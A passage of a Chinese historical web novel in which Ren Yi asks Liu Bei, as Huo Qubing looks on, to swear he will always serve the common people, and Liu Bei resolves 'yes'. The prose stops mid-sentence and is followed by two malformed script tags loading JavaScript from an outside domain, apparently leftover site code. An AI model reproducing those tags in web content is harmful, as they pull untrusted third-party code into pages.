“你能不能记住,你是为了那些,和你一样被督邮羞辱的小吏;为了那些,被贪官盘剥、连一口饭都吃不上的农夫;为了那些,被豪强欺压、毫无尊严的佃户;为了那些,饿死在路边、无人问津的流民?”
他顿了顿,加重语气,一字一句地问道:“你能不能记住,你是为了山下这些,因为一台织机就欢呼雀跃,却依然可能,随时被命运打回原形的普通老百姓?”
“当有一天,你手握重权,站在万人之上,面对无尽的诱惑、安逸的侵蚀,还有旧势力的围剿时,你能不能永远记住今天的初心?”
“记住,你刘备,出身于他们,来自于他们,你所做的一切,都是为了他们,最终,你也应当属于他们?”
山坡上,风似乎都停了。
阳光依旧温暖,草叶不再摇曳,连远处山下的喧闹声,都仿佛消失了。霍去病屏住了呼吸,紧紧盯着眼前的两人,大气都不敢喘。
山下隐约的欢呼,此刻听来,仿佛来自另一个遥远的世界,模糊而不真实。
刘备迎着任弋,仿佛能洞彻灵魂的目光,脸上的激动,渐渐沉淀下来。
他没有立刻回答,而是缓缓松开了抓着任弋手臂的手,后退了半步。他低下头,看着自己的双手。
这双手,也曾织过席、贩过履,也曾握过锄头、拿过刀剑,如今,还执掌过兵符和印信。
无数画面,在他脑海中闪过:涿郡街头,少年时的他,看着衙役欺压商贩,心中满是愤懑却无能为力;安喜县外,督邮傲慢的嘴脸,还有他被羞辱时的屈辱与不甘;平原县任上,老百姓面有菜色、流离失所的脸庞;辗转流离途中,路边倒毙的饿殍,还有那些撕心裂肺的哭声;还有刚才进村时,听到那震天欢呼时,心中涌起的、复杂的滋味……
时间,一点一滴地流逝。
山坡上,一片寂静,只有三人的呼吸声,清晰可闻。
终于,刘备抬起了头。
他的眼中,不再有迷茫,不再有激动,只剩下一种磐石般的、经过淬炼的坚定。那是一种,将个人荣辱、家族兴衰、甚至自己的生死,都置之度外,认准了道路,便绝不回头的决绝。
他迎着任弋的目光,一字一句,声音不大,却仿佛用尽了全身的力气,砸在草地上,砸在春风里,也砸在自己的灵魂深处:“能。”
一个字,简短而有力,没有半点
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">